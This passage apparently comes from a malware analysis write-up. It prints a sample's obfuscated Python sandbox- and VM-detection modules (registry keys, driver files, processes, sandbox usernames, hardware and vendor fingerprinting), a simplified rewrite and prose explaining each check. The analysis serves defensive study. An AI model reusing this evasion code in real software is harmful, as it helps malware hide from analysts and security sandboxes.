return uuhxcn7g0lw2fy, bytes([80,82,69,86,32,76,79,71,73,78,83,32,99,104,101,99,107,32,115,107,105,112,112,101,100,46]).decode("utf-8"), bytes([80,101,114,109,105,115,115,105,111,110,32,100,101,110,105,101,100,32,97,99,99,101,115,115,105,110,103,32,85,115,101,114,115,32,100,105,114,101,99,116,111,114,121,46]).decode("utf-8")
eakbkpbav5k = 0
if len("mxtw") > 88:
g0d0g = 7154
for vzh0oyekc4g8p in om7aj114_f_wnp:
m8x0iamfyhl = os.path.join(h8ykwah670dykt, vzh0oyekc4g8p)
if os.path.exists(m8x0iamfyhl):
tdeppk7ikzl6le = os.path.getctime(m8x0iamfyhl)
wa0lz82dwqbj5 = (time.time() - tdeppk7ikzl6le) / (24 * 3600)
eakbkpbav5k += wa0lz82dwqbj5
zlb4ugl2rsod = f"PREV LOGINS will look for user profiles and their age."
qs3loi6xkp88 = f"Found {len(om7aj114_f_wnp)} user profiles with combined age of {int(eakbkpbav5k)} days."
nsbrb6y6b = [bytes([119,100,97,103,117,116,105,108,105,116,121,97,99,99,111,117,110,116]).decode("utf-8"), bytes([118,97,103,114,97,110,116]).decode("utf-8"), "".join([chr(115),chr(97),chr(110),chr(100),chr(98),chr(111),chr(120)])]
if o1n7titods and o1n7titods.lower() in nsbrb6y6b:
uuhxcn7g0lw2fy = 0
qs3loi6xkp88 = f"Detected sandbox user account: {o1n7titods}"
elif o1n7titods:
uuhxcn7g0lw2fy = 5
qs3loi6xkp88 = f"User account: {o1n7titods}"
try:
if om7aj114_f_wnp and o1n7titods.lower() in [u.lower() for u in om7aj114_f_wnp]:
m8x0iamfyhl = os.path.join(h8ykwah670dykt, o1n7titods)
tdeppk7ikzl6le = os.path.getctime(m8x0iamfyhl)
a0_d_3 = -66220
aqhlpibhp0_2 = (time.time() - tdeppk7ikzl6le) / (24 * 3600)
qs3loi6xkp88 += f" - Profile age: {int(aqhlpibhp0_2)} days"
except:
pass
zl0u47dp = "xnxd" # GWD71qbTLg69QI
else:
uuhxcn7g0lw2fy = 5
qs3loi6xkp88 = bytes([67,111,117,108,100,32,110,111,116,32,100,101,116,101,99,116,32,99,117,114,114,101,110,116,32,117,115,101,114]).decode("utf-8")
except Exception as e:
uuhxcn7g0lw2fy = 5
qs3loi6xkp88 = f"Login check skipped due to access restrictions."
return uuhxcn7g0lw2fy, zlb4ugl2rsod, qs3loi6xkp88 # WxICHtbAsDVRqI noticed the creator used more junk code on this file, so I simplified it a bit :
# N2l1VtAq3lZKWyo0i9QPBJNlmQs0qu9K0t4Xjw7OhfGS4DmcMerUAbtVOcTPlUIX
import os
import subprocess
import time
if os.name == 'nt':
import winreg
class FileSystem:
_KEYS = [
r"SOFTWARE\Oracle\VirtualBox Guest Additions",
r"HARDWARE\ACPI\DSDT\VBOX__",
r"HARDWARE\ACPI\FADT\VBOX__",
r"HARDWARE\ACPI\RSDT\VBOX__",
r"SYSTEM\ControlSet001\Services\VBoxGuest",
r"SYSTEM\ControlSet001\Services\VBoxMouse",
r"SYSTEM\ControlSet001\Services\VBoxService",
r"SYSTEM\ControlSet001\Services\VBoxSF",
r"SYSTEM\ControlSet001\Services\VBoxVideo",
r"SOFTWARE\VMware, Inc.\VMware Tools",
]
_FILES = [
r"C:\WINDOWS\system32\drivers\VBoxMouse.sys",
r"C:\WINDOWS\system32\drivers\VBoxGuest.sys",
r"C:\WINDOWS\system32\drivers\VBoxSF.sys",
r"C:\WINDOWS\system32\drivers\VBoxVideo.sys",
r"C:\WINDOWS\system32\vboxdisp.dll",
r"C:\WINDOWS\system32\vboxhook.dll",
r"C:\WINDOWS\system32\vboxmrxnp.dll",
r"C:\WINDOWS\system32\vboxogl.dll",
r"C:\WINDOWS\system32\vboxoglarrayspu.dll",
r"C:\WINDOWS\system32\vboxoglcrutil.dll",
r"C:\WINDOWS\system32\vboxoglerrorspu.dll",
r"C:\WINDOWS\system32\vboxoglfeedbackspu.dll",
r"C:\WINDOWS\system32\vboxoglpackspu.dll",
r"C:\WINDOWS\system32\vboxoglpassthroughspu.dll",
r"C:\WINDOWS\system32\vboxservice.exe",
r"C:\WINDOWS\system32\vboxtray.exe",
r"C:\WINDOWS\system32\VBoxControl.exe",
r"C:\WINDOWS\system32\drivers\vmmouse.sys",
r"C:\WINDOWS\system32\drivers\vmhgfs.sys",
r"C:\WINDOWS\system32\drivers\vmusbmouse.sys",
r"C:\WINDOWS\system32\drivers\vmkdb.sys",
r"C:\WINDOWS\system32\drivers\vmrawdsk.sys",
r"C:\WINDOWS\system32\drivers\vmmemctl.sys",
r"C:\WINDOWS\system32\drivers\vm3dmp.sys",
r"C:\WINDOWS\system32\drivers\vmci.sys",
r"C:\WINDOWS\system32\drivers\vmsci.sys",
r"C:\WINDOWS\system32\drivers\vmx_svga.sys"
]
_PROCESSES = ['vboxservices.exe', 'vboxservice.exe', 'vboxtray.exe', 'xenservice.exe', 'VMSrvc.exe', 'vemusrvc.exe', 'VMUSrvc.exe', 'qemu-ga.exe', 'prl_cc.exe', 'prl_tools.exe', 'vmtoolsd.exe', 'df5serv.exe']
@staticmethod
def check_vm_registry_keys():
if os.name != 'nt':
return 5, 'VM REGISTRY KEYS are None.', 'This test can only be run on Windows. Considering this test successful.'
score1 = 5
description1 = f"REGISTRY KEYS will look for VM related keys."
extra1 = None
try:
hklm = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE)
for key in FileSystem._KEYS:
try:
winreg.OpenKey(hklm, key)
score1 = 2
extra1 = f"Found VM-related registry key: {key}"
except WindowsError as e:
continue
except Exception as e:
score1 = 5
extra1 = 'Could not access registry'
return score1, description1, extra1
@staticmethod
def check_vm_files():
if os.name != 'nt':
return 5, 'VM RELATED FILES are None.', 'This test can only be run on Windows. Considering this test successful.'
score2 = 5
description2 = f"FILES will look for VM related files."
extra2 = None
for file in FileSystem._FILES:
if os.path.exists(file):
score2 = min(score2, 2)
if extra2:
extra2 += f"\nFound VM-related file: {file}"
else:
extra2 = f"Found VM-related file: {file}"
return score2, description2, extra2
@staticmethod
def check_vm_processes():
if os.name != 'nt':
return 5, 'VM RELATED PROCESSES are None.', 'This test can only be run on Windows. Considering this test successful.'
score3 = 5
description3 = f"PROCESSES will look for VM related processes."
extra3 = None
try:
result = ""
try:
result = subprocess.check_output('powershell "Get-Process | Select-Object ProcessName"').decode()
except:
try:
result = subprocess.check_output('wmic process get name', shell=True).decode()
except:
try:
result = subprocess.check_output('tasklist', shell=True).decode()
except:
score3 = 5
extra3 = 'Process check skipped - could not access process list'
return score3, description3, extra3
result = result.lower()
for proc in FileSystem._PROCESSES:
if proc.lower() in result:
score3 = min(score3, 2)
if extra3:
extra3 += f"\nFound VM-related process: {proc}"
else:
extra3 = f"Found VM-related process: {proc}"
except Exception as e:
score3 = 5
extra3 = 'Process check skipped due to access restrictions.'
return score3, description3, extra3
@staticmethod
def check_wifi_connections():
return 5, 'WIFI check disabled.', None
@staticmethod
def check_application_files():
return 5, 'Application files check disabled.', None
@staticmethod
def check_prev_logins():
if os.name != 'nt':
return 5, 'PREV LOGINS are None.', 'This test can only be run on Windows. Considering this test successful.'
try:
username = os.getenv("USERNAME")
USER_PATH = os.path.join('C:\\Users')
if not os.path.exists(USER_PATH):
score4 = 5
return score4, 'PREV LOGINS check skipped.', 'Could not access Users directory.'
dir_list = []
try:
dir_list = [d for d in os.listdir(USER_PATH)
if os.path.isdir(os.path.join(USER_PATH, d))
and d.lower() not in ['public', 'default', 'default user', 'all users', 'defaultapppool', 'system']
and not d.endswith("$")]
except PermissionError:
score4 = 5
return score4, 'PREV LOGINS check skipped.', 'Permission denied accessing Users directory.'
nbr_of_days = 0
for dirz in dir_list:
dir_full_path = os.path.join(USER_PATH, dirz)
if os.path.exists(dir_full_path):
current_time = os.path.getctime(dir_full_path)
day = (time.time() - current_time) / (24 * 3600)
nbr_of_days += day
description4 = f"PREV LOGINS will look for user profiles and their age."
extra4 = f"Found {len(dir_list)} user profiles with combined age of {int(nbr_of_days)} days."
analyst_users = ['wdagutilityaccount', 'vagrant', 'sandbox']
if username and username.lower() in analyst_users:
score4 = 0
extra4 = f"Detected sandbox user account: {username}"
elif username:
score4 = 5
extra4 = f"User account: {username}"
try:
if dir_list and username.lower() in [u.lower() for u in dir_list]:
dir_full_path = os.path.join(USER_PATH, username)
current_time = os.path.getctime(dir_full_path)
count_day = (time.time() - current_time) / (24 * 3600)
extra4 += f" - Profile age: {int(count_day)} days"
except:
pass
else:
score4 = 5
extra4 = 'Could not detect current user'
except Exception as e:
score4 = 5
extra4 = f"Login check skipped due to access restrictions."
return score4, description4, extra4The FileSystem class is responsible for detecting virtual machine artifacts at the filesystem level. It operates exclusively on Windows (os.name == 'nt') and returns a score from 0 to 5 for each check.
The first function check_vm_registry_keys() searches HKEY_LOCAL_MACHINE for registry keys known to be created by VirtualBox and VMware (guest additions, drivers, services). Finding any of them drops the score to 2.
The second function check_vm_files() checks for the physical presence of VM-related driver and executable files on disk, VirtualBox (.sys, .dll, .exe) and VMware drivers. Each file found reduces the score, but never below 2.
The third one check_vm_processes() lists running processes via PowerShell, WMIC, or tasklist (three fallbacks) and looks for known VM guest agent processes such as vboxservice.exe, vmtoolsd.exe, or qemu-ga.exe.
The last one check_prev_logins() inspects C:\Users\ to count user profiles and measure their age in days. More importantly, it checks the current username against a hardcoded list of known sandbox accounts : wdagutilityaccount, vagrant, and sandbox, a match immediately returns score 0.
Others functions are disabled by the creator...
sys_spec.py — Hardware Fingerprinting
# WlSQZhiLth9vDjrhYU3AVmhjqo84TvJtpgPGMwzn6L9uj9GAobWq124GOkumCkVb
import os
import subprocess
import math
import platform
class Specs:
@staticmethod
def check_hard_drive():
if os.name == bytes([110,116]).decode("utf-8"): # Windows
try:
ncqa55kqto63ao = (chr(71)+chr(101)+chr(116)+chr(45)+chr(80)+chr(83)+chr(68)+chr(114)+chr(105)+chr(118)+chr(101)+chr(32)+chr(67)+chr(32)+chr(124)+chr(32)+chr(83)+chr(101)+chr(108)+chr(101)+chr(99)+chr(116)+chr(45)+chr(79)+chr(98)+chr(106)+chr(101)+chr(99)+chr(116)+chr(32)+chr(85)+chr(115)+chr(101)+chr(100)+chr(44)+chr(70)+chr(114)+chr(101)+chr(101))
o91kpkpec_ = subprocess.check_output([bytes([112,111,119,101,114,115,104,101,108,108]).decode("utf-8"), "".join([chr(45),chr(67),chr(111),chr(109),chr(109),chr(97),chr(110),chr(100)]), ncqa55kqto63ao], shell=True).decode()
eqz9zj6cj = o91kpkpec_.split('\n')
for r826em9coa in eqz9zj6cj[3:]:
if r826em9coa.strip():
ogvsj33tfv = r826em9coa.split()
kcx874ct = int(ogvsj33tfv[0])
vzenvr = -53305
sr_x_4xqsyn6v = int(ogvsj33tfv[1])
wspq0j95 = kcx874ct + sr_x_4xqsyn6v
break
except Exception as e:
try:
ncqa55kqto63ao = 'dir C:\\'
o91kpkpec_ = subprocess.check_output(ncqa55kqto63ao, shell=True).decode()
eqz9zj6cj = o91kpkpec_.split('\n')
for r826em9coa in eqz9zj6cj:
if bytes([98,121,116,101,115,32,102,114,101,101]).decode("utf-8") in r826em9coa.lower():
fg2hitlh_s3 = r826em9coa.strip()
sr_x_4xqsyn6v = int(''.join(c for c in fg2hitlh_s3.split()[0] if c.isdigit()))
wspq0j95 = sr_x_4xqsyn6v * 2
kcx874ct = wspq0j95 - sr_x_4xqsyn6v
break
except:
wspq0j95 = 500 * (2**30)
sr_x_4xqsyn6v = 250 * (2**30)
uvz4v9 = 22 | 33
kcx874ct = 250 * (2**30)
jlo4rfsgm = math.ceil(wspq0j95 / (2 ** 30)) # DjMydQkwzl
gtlquhm9t = math.ceil(kcx874ct / (2 ** 30))
epvdjlowjz = math.ceil(sr_x_4xqsyn6v / (2 ** 30)) # 8fJjoD46ryVkp
f4grk72wag = (kcx874ct / wspq0j95) * 100 if wspq0j95 > 0 else 50
xro09w2_ts53 = f"HARD DRIVE has a total storage of {jlo4rfsgm} GigaBytes (Used: {gtlquhm9t} GB, Free: {epvdjlowjz} GB)"
ybolj3u5f = None # lDlaI1Vul
a9njkb = (9, 57, 41, 8)
if jlo4rfsgm < 20:
ygz89nzilnu = 0
ybolj3u5f = "".join([chr(86),chr(101),chr(114),chr(121),chr(32),chr(115),chr(109),chr(97),chr(108),chr(108),chr(32),chr(115),chr(116),chr(111),chr(114),chr(97),chr(103),chr(101),chr(44),chr(32),chr(98),chr(117),chr(116),chr(32),chr(112),chr(111),chr(115),chr(115),chr(105),chr(98),chr(108),chr(101),chr(32),chr(102),chr(111),chr(114),chr(32),chr(98),chr(97),chr(115),chr(105),chr(99),chr(32),chr(115),chr(121),chr(115),chr(116),chr(101),chr(109),chr(115),chr(46)])
rmiiju2 = (47, 44, 32, 18)
elif jlo4rfsgm < 50:
ygz89nzilnu = 3
ybolj3u5f = (chr(83)+chr(109)+chr(97)+chr(108)+chr(108)+chr(32)+chr(98)+chr(117)+chr(116)+chr(32)+chr(97)+chr(99)+chr(99)+chr(101)+chr(112)+chr(116)+chr(97)+chr(98)+chr(108)+chr(101)+chr(32)+chr(102)+chr(111)+chr(114)+chr(32)+chr(98)+chr(97)+chr(115)+chr(105)+chr(99)+chr(32)+chr(117)+chr(115)+chr(97)+chr(103)+chr(101)+chr(46))
elif jlo4rfsgm < 8060:
ygz89nzilnu = 4
ybolj3u5f = "".join([chr(67),chr(111),chr(109),chr(109),chr(111),chr(110),chr(32),chr(115),chr(105),chr(122),chr(101),chr(32),chr(102),chr(111),chr(114),chr(32),chr(98),chr(97),chr(115),chr(105),chr(99),chr(32),chr(115),chr(121),chr(115),chr(116),chr(101),chr(109),chr(115),chr(46)])
elif jlo4rfsgm < 120:
ygz89nzilnu = 4
ybolj3u5f = (chr(67)+chr(111)+chr(109)+chr(109)+chr(111)+chr(110)+chr(32)+chr(115)+chr(105)+chr(122)+chr(101)+chr(32)+chr(102)+chr(111)+chr(114)+chr(32)+chr(98)+chr(97)+chr(115)+chr(105)+chr(99)+chr(32)+chr(83)+chr(83)+chr(68)+chr(115)+chr(46))
else:
ygz89nzilnu = 5
return ygz89nzilnu, xro09w2_ts53, ybolj3u5f
@staticmethod
def check_ram_space():
x8xcna6t = 0
if os.name == (chr(110)+chr(116)): # Windows
try:
tyzsu1f2x = bytes([71,101,116,45,67,105,109,73,110,115,116,97,110,99,101,32,87,105,110,51,50,95,67,111,109,112,117,116,101,114,83,121,115,116,101,109,32,124,32,83,101,108,101,99,116,45,79,98,106,101,99,116,32,84,111,116,97,108,80,104,121,115,105,99,97,108,77,101,109,111,114,121]).decode("utf-8")
z7kz0wm34dbv = subprocess.check_output([bytes([112,111,119,101,114,115,104,101,108,108]).decode("utf-8"), bytes([45,67,111,109,109,97,110,100]).decode("utf-8"), tyzsu1f2x], shell=True).decode()
x8xcna6t = int(z7kz0wm34dbv.split('\n')[3]) / (2 ** 30)
except:
pass
else: # Unix/Linux/Mac
try:
z7kz0wm34dbv = subprocess.check_output([(chr(115)+chr(121)+chr(115)+chr(99)+chr(116)+chr(108)), bytes([45,110]).decode("utf-8"), (chr(104)+chr(119)+chr(46)+chr(109)+chr(101)+chr(109)+chr(115)+chr(105)+chr(122)+chr(101))]).decode()
hr3uq_i = True
x8xcna6t = int(z7kz0wm34dbv) / (2 ** 30)
cbu_cq = 43 + 36
except:
try:
with open("".join([chr(47),chr(112),chr(114),chr(111),chr(99),chr(47),chr(109),chr(101),chr(109),chr(105),chr(110),chr(102),chr(111)])) as f:
for nclr836d in f:
if bytes([77,101,109,84,111,116,97,108]).decode("utf-8") in nclr836d:
x8xcna6t = int(nclr836d.split()[1]) / (2 ** 20)
except:
pass
x8xcna6t = math.ceil(x8xcna6t)
if type(31) == str:
ao52d = 9996
hxgxvxcna7p6 = f"RAM has a total storage of {x8xcna6t} GigaBytes."
x2fqfeo9ap_ = None
if x8xcna6t < 2:
yoc66nxjbafo = 0
mkxs_a1t = {5: 0}
x2fqfeo9ap_ = bytes([76,111,119,32,82,65,77,32,98,117,116,32,112,111,115,115,105,98,108,101,32,102,111,114,32,98,97,115,105,99,32,115,121,115,116,101,109,115,46]).decode("utf-8")
elif x8xcna6t < 4:
yoc66nxjbafo = 3
x2fqfeo9ap_ = (chr(83)+chr(117)+chr(102)+chr(102)+chr(105)+chr(99)+chr(105)+chr(101)+chr(110)+chr(116)+chr(32)+chr(82)+chr(65)+chr(77)+chr(32)+chr(102)+chr(111)+chr(114)+chr(32)+chr(98)+chr(97)+chr(115)+chr(105)+chr(99)+chr(32)+chr(117)+chr(115)+chr(97)+chr(103)+chr(101)+chr(46))
elif x8xcna6t < 8:
yoc66nxjbafo = 4
x2fqfeo9ap_ = bytes([67,111,109,109,111,110,32,82,65,77,32,115,105,122,101,32,102,111,114,32,109,111,100,101,114,110,32,115,121,115,116,101,109,115,46]).decode("utf-8")
else:
yoc66nxjbafo = 5
aht09cb = "qgdPxiXyoa"
return yoc66nxjbafo, hxgxvxcna7p6, x2fqfeo9ap_
@staticmethod
def check_cpu_cores(): # 86iysMccOIOubq86MT7
thcqsewbz = 1
cw46tij_d = {5: 8}
if os.name == (chr(110)+chr(116)): # Windows
try:
m1gm2tw4 = "".join([chr(71),chr(101),chr(116),chr(45),chr(67),chr(105),chr(109),chr(73),chr(110),chr(115),chr(116),chr(97),chr(110),chr(99),chr(101),chr(32),chr(87),chr(105),chr(110),chr(51),chr(50),chr(95),chr(80),chr(114),chr(111),chr(99),chr(101),chr(115),chr(115),chr(111),chr(114),chr(32),chr(124),chr(32),chr(83),chr(101),chr(108),chr(101),chr(99),chr(116),chr(45),chr(79),chr(98),chr(106),chr(101),chr(99),chr(116),chr(32),chr(78),chr(117),chr(109),chr(98),chr(101),chr(114),chr(79),chr(102),chr(76),chr(111),chr(103),chr(105),chr(99),chr(97),chr(108),chr(80),chr(114),chr(111),chr(99),chr(101),chr(115),chr(115),chr(111),chr(114),chr(115)])
u4_openl7gtz = subprocess.check_output([(chr(112)+chr(111)+chr(119)+chr(101)+chr(114)+chr(115)+chr(104)+chr(101)+chr(108)+chr(108)), (chr(45)+chr(67)+chr(111)+chr(109)+chr(109)+chr(97)+chr(110)+chr(100)), m1gm2tw4], shell=True).decode()
thcqsewbz = int(u4_openl7gtz.split('\n')[3])
except:
pass
else: # Unix/Linux/Mac
try:
thcqsewbz = len(os.sched_getaffinity(0))
except:
try:
thcqsewbz = os.cpu_count()
except:
pass
fgkhirck4ux9 = f"CPU has a total of {thcqsewbz} logical cores."
qytu0stggcv = None
i5pccnq6c0 = -66988
if thcqsewbz < 2:
a92p5ym3 = 0
qytu0stggcv = (chr(83)+chr(105)+chr(110)+chr(103)+chr(108)+chr(101)+chr(32)+chr(99)+chr(111)+chr(114)+chr(101)+chr(32)+chr(98)+chr(117)+chr(116)+chr(32)+chr(112)+chr(111)+chr(115)+chr(115)+chr(105)+chr(98)+chr(108)+chr(101)+chr(32)+chr(102)+chr(111)+chr(114)+chr(32)+chr(98)+chr(97)+chr(115)+chr(105)+chr(99)+chr(32)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(115)+chr(46))
elif thcqsewbz < 4:
a92p5ym3 = 3
qytu0stggcv = (chr(68)+chr(117)+chr(97)+chr(108)+chr(32)+chr(99)+chr(111)+chr(114)+chr(101)+chr(44)+chr(32)+chr(99)+chr(111)+chr(109)+chr(109)+chr(111)+chr(110)+chr(32)+chr(102)+chr(111)+chr(114)+chr(32)+chr(98)+chr(97)+chr(115)+chr(105)+chr(99)+chr(32)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(115)+chr(46))
elif thcqsewbz < 6:
a92p5ym3 = 4
d11t81o6 = "XFHkKvTEEU"
qytu0stggcv = (chr(81)+chr(117)+chr(97)+chr(100)+chr(32)+chr(99)+chr(111)+chr(114)+chr(101)+chr(44)+chr(32)+chr(116)+chr(121)+chr(112)+chr(105)+chr(99)+chr(97)+chr(108)+chr(32)+chr(102)+chr(111)+chr(114)+chr(32)+chr(109)+chr(111)+chr(100)+chr(101)+chr(114)+chr(110)+chr(32)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(115)+chr(46))
else:
a92p5ym3 = 5
return a92p5ym3, fgkhirck4ux9, qytu0stggcv
_MODELS = [
bytes([118,105,114,116,117,97,108,98,111,120]).decode("utf-8"),
bytes([118,109,119,97,114,101]).decode("utf-8"),
"".join([chr(107),chr(118),chr(109)]),
bytes([118,105,114,116,117,97,108,32,109,97,99,104,105,110,101]).decode("utf-8"),
bytes([113,101,109,117]).decode("utf-8"),
(chr(120)+chr(101)+chr(110)),
bytes([104,121,112,101,114,118]).decode("utf-8"),
bytes([104,121,112,101,114,45,118]).decode("utf-8"),
(chr(112)+chr(97)+chr(114)+chr(97)+chr(108)+chr(108)+chr(101)+chr(108)+chr(115)),
"".join([chr(118),chr(105),chr(114),chr(116),chr(117),chr(97),chr(108),chr(32),chr(112),chr(108),chr(97),chr(116),chr(102),chr(111),chr(114),chr(109)]),
bytes([118,109,32,112,108,97,116,102,111,114,109]).decode("utf-8"),
bytes([118,115,112,104,101,114,101]).decode("utf-8"),
(chr(112)+chr(114)+chr(111)+chr(120)+chr(109)+chr(111)+chr(120)),
bytes([99,105,116,114,105,120]).decode("utf-8"),
(chr(111)+chr(114)+chr(97)+chr(99)+chr(108)+chr(101)+chr(32)+chr(118)+chr(109)),
(chr(98)+chr(111)+chr(99)+chr(104)+chr(115)),
bytes([118,105,114,116,117,97,108,32,112,99]).decode("utf-8"),
bytes([99,108,111,117,100,32,112,99]).decode("utf-8"),
(chr(115)+chr(104)+chr(97)+chr(100)+chr(111)+chr(119)+chr(32)+chr(112)+chr(99)),
"".join([chr(97),chr(109),chr(97),chr(122),chr(111),chr(110),chr(32),chr(101),chr(99),chr(50)]),
"".join([chr(103),chr(111),chr(111),chr(103),chr(108),chr(101),chr(32),chr(99),chr(111),chr(109),chr(112),chr(117),chr(116),chr(101),chr(32),chr(101),chr(110),chr(103),chr(105),chr(110),chr(101)]),
bytes([97,122,117,114,101,32,118,105,114,116,117,97,108,32,109,97,99,104,105,110,101]).decode("utf-8"),
bytes([98,104,121,118,101]).decode("utf-8"),
bytes([118,105,114,116,117,97,108,32,100,101,115,107,116,111,112]).decode("utf-8"),
(chr(115)+chr(97)+chr(110)+chr(100)+chr(98)+chr(111)+chr(120)),
]
@staticmethod
def check_model():
if os.name == (chr(110)+chr(116)):
neceul5_jp = None
k3kczt2n5 = None
try:
yyt198p7_y = "".join([chr(71),chr(101),chr(116),chr(45),chr(67),chr(105),chr(109),chr(73),chr(110),chr(115),chr(116),chr(97),chr(110),chr(99),chr(101),chr(32),chr(87),chr(105),chr(110),chr(51),chr(50),chr(95),chr(67),chr(111),chr(109),chr(112),chr(117),chr(116),chr(101),chr(114),chr(83),chr(121),chr(115),chr(116),chr(101),chr(109),chr(32),chr(124),chr(32),chr(83),chr(101),chr(108),chr(101),chr(99),chr(116),chr(45),chr(79),chr(98),chr(106),chr(101),chr(99),chr(116),chr(32),chr(77),chr(111),chr(100),chr(101),chr(108)])
ghbxh3fyh = subprocess.check_output(["".join([chr(112),chr(111),chr(119),chr(101),chr(114),chr(115),chr(104),chr(101),chr(108),chr(108)]), bytes([45,67,111,109,109,97,110,100]).decode("utf-8"), yyt198p7_y], shell=True).decode()
neceul5_jp = ghbxh3fyh.split('\n')[3].strip()
if neceul5_jp.lower() in Specs._MODELS:
pwpvdgknf6ecg8 = 0
k3kczt2n5 = (chr(77)+chr(79)+chr(68)+chr(69)+chr(76)+chr(32)+chr(104)+chr(97)+chr(115)+chr(32)+chr(98)+chr(101)+chr(101)+chr(110)+chr(32)+chr(108)+chr(105)+chr(110)+chr(107)+chr(101)+chr(100)+chr(32)+chr(116)+chr(111)+chr(32)+chr(97)+chr(32)+chr(118)+chr(105)+chr(114)+chr(116)+chr(117)+chr(97)+chr(108)+chr(32)+chr(109)+chr(97)+chr(99)+chr(104)+chr(105)+chr(110)+chr(101)+chr(46))
else:
pwpvdgknf6ecg8 = 5
except Exception as e:
pwpvdgknf6ecg8 = 5
k3kczt2n5 = f"Something went wrong, so giving benefit of the doubt. Considering this test successful.\nexception: {e}"
yvh0co472c = f"MODEL is {neceul5_jp}."
return pwpvdgknf6ecg8, yvh0co472c, k3kczt2n5
else:
return 5, (chr(77)+chr(79)+chr(68)+chr(69)+chr(76)+chr(32)+chr(105)+chr(115)+chr(32)+chr(78)+chr(111)+chr(110)+chr(101)+chr(46)), (chr(84)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(99)+chr(97)+chr(110)+chr(32)+chr(111)+chr(110)+chr(108)+chr(121)+chr(32)+chr(98)+chr(101)+chr(32)+chr(114)+chr(117)+chr(110)+chr(32)+chr(111)+chr(110)+chr(32)+chr(87)+chr(105)+chr(110)+chr(100)+chr(111)+chr(119)+chr(115)+chr(46)+chr(32)+chr(67)+chr(111)+chr(110)+chr(115)+chr(105)+chr(100)+chr(101)+chr(114)+chr(105)+chr(110)+chr(103)+chr(32)+chr(116)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(115)+chr(117)+chr(99)+chr(99)+chr(101)+chr(115)+chr(115)+chr(102)+chr(117)+chr(108)+chr(46))
_MANUFACTURER = [
"".join([chr(105),chr(110),chr(110),chr(111),chr(116),chr(101),chr(107)]),
(chr(118)+chr(109)+chr(119)+chr(97)+chr(114)+chr(101)),
bytes([113,101,109,117]).decode("utf-8"),
"".join([chr(120),chr(101),chr(110)]),
bytes([112,97,114,97,108,108,101,108,115]).decode("utf-8"),
"".join([chr(111),chr(114),chr(97),chr(99),chr(108),chr(101)]),
(chr(99)+chr(105)+chr(116)+chr(114)+chr(105)+chr(120)),
"".join([chr(114),chr(101),chr(100),chr(32),chr(104),chr(97),chr(116)]),
(chr(112)+chr(114)+chr(111)+chr(120)+chr(109)+chr(111)+chr(120)),
(chr(97)+chr(109)+chr(97)+chr(122)+chr(111)+chr(110)+chr(32)+chr(119)+chr(101)+chr(98)+chr(32)+chr(115)+chr(101)+chr(114)+chr(118)+chr(105)+chr(99)+chr(101)+chr(115)),
(chr(103)+chr(111)+chr(111)+chr(103)+chr(108)+chr(101)+chr(32)+chr(99)+chr(108)+chr(111)+chr(117)+chr(100)),
(chr(109)+chr(105)+chr(99)+chr(114)+chr(111)+chr(115)+chr(111)+chr(102)+chr(116)+chr(32)+chr(97)+chr(122)+chr(117)+chr(114)+chr(101)),
bytes([118,105,114,116,117,97,108,98,111,120]).decode("utf-8"),
"".join([chr(100),chr(111),chr(99),chr(107),chr(101),chr(114)]),
(chr(110)+chr(117)+chr(116)+chr(97)+chr(110)+chr(105)+chr(120)),
bytes([99,108,111,117,100]).decode("utf-8"),
"".join([chr(118),chr(97),chr(103),chr(114),chr(97),chr(110),chr(116)]),
(chr(107)+chr(117)+chr(98)+chr(101)+chr(114)+chr(110)+chr(101)+chr(116)+chr(101)+chr(115)),
"".join([chr(111),chr(112),chr(101),chr(110),chr(115),chr(116),chr(97),chr(99),chr(107)]),
(chr(100)+chr(105)+chr(103)+chr(105)+chr(116)+chr(97)+chr(108)+chr(32)+chr(111)+chr(99)+chr(101)+chr(97)+chr(110)),
bytes([108,105,110,111,100,101]).decode("utf-8"),
bytes([118,117,108,116,114]).decode("utf-8"),
(chr(105)+chr(98)+chr(109)+chr(32)+chr(99)+chr(108)+chr(111)+chr(117)+chr(100)),
(chr(97)+chr(108)+chr(105)+chr(98)+chr(97)+chr(98)+chr(97)+chr(32)+chr(99)+chr(108)+chr(111)+chr(117)+chr(100)),
bytes([104,117,97,119,101,105,32,99,108,111,117,100]).decode("utf-8"),
(chr(116)+chr(101)+chr(110)+chr(99)+chr(101)+chr(110)+chr(116)+chr(32)+chr(99)+chr(108)+chr(111)+chr(117)+chr(100)),
]
@staticmethod
def check_manufacturer():
if os.name == bytes([110,116]).decode("utf-8"):
gubu4t10 = None
pag3wkoumky0 = None
try:
yypis_mnon_u3t = "".join([chr(71),chr(101),chr(116),chr(45),chr(67),chr(105),chr(109),chr(73),chr(110),chr(115),chr(116),chr(97),chr(110),chr(99),chr(101),chr(32),chr(87),chr(105),chr(110),chr(51),chr(50),chr(95),chr(67),chr(111),chr(109),chr(112),chr(117),chr(116),chr(101),chr(114),chr(83),chr(121),chr(115),chr(116),chr(101),chr(109),chr(32),chr(124),chr(32),chr(83),chr(101),chr(108),chr(101),chr(99),chr(116),chr(45),chr(79),chr(98),chr(106),chr(101),chr(99),chr(116),chr(32),chr(77),chr(97),chr(110),chr(117),chr(102),chr(97),chr(99),chr(116),chr(117),chr(114),chr(101),chr(114)])
o9s9mq5lho = subprocess.check_output([(chr(112)+chr(111)+chr(119)+chr(101)+chr(114)+chr(115)+chr(104)+chr(101)+chr(108)+chr(108)), bytes([45,67,111,109,109,97,110,100]).decode("utf-8"), yypis_mnon_u3t], shell=True).decode()
gubu4t10 = o9s9mq5lho.split('\n')[3].strip()
if gubu4t10.lower() in Specs._MANUFACTURER:
fpubhun0 = 0
mf0k728 = False
pag3wkoumky0 = "".join([chr(77),chr(65),chr(78),chr(85),chr(70),chr(65),chr(67),chr(84),chr(85),chr(82),chr(69),chr(82),chr(32),chr(104),chr(97),chr(115),chr(32),chr(98),chr(101),chr(101),chr(110),chr(32),chr(108),chr(105),chr(110),chr(107),chr(101),chr(100),chr(32),chr(116),chr(111),chr(32),chr(97),chr(32),chr(118),chr(105),chr(114),chr(116),chr(117),chr(97),chr(108),chr(32),chr(109),chr(97),chr(99),chr(104),chr(105),chr(110),chr(101),chr(46)])
else:
fpubhun0 = 5
except Exception as e:
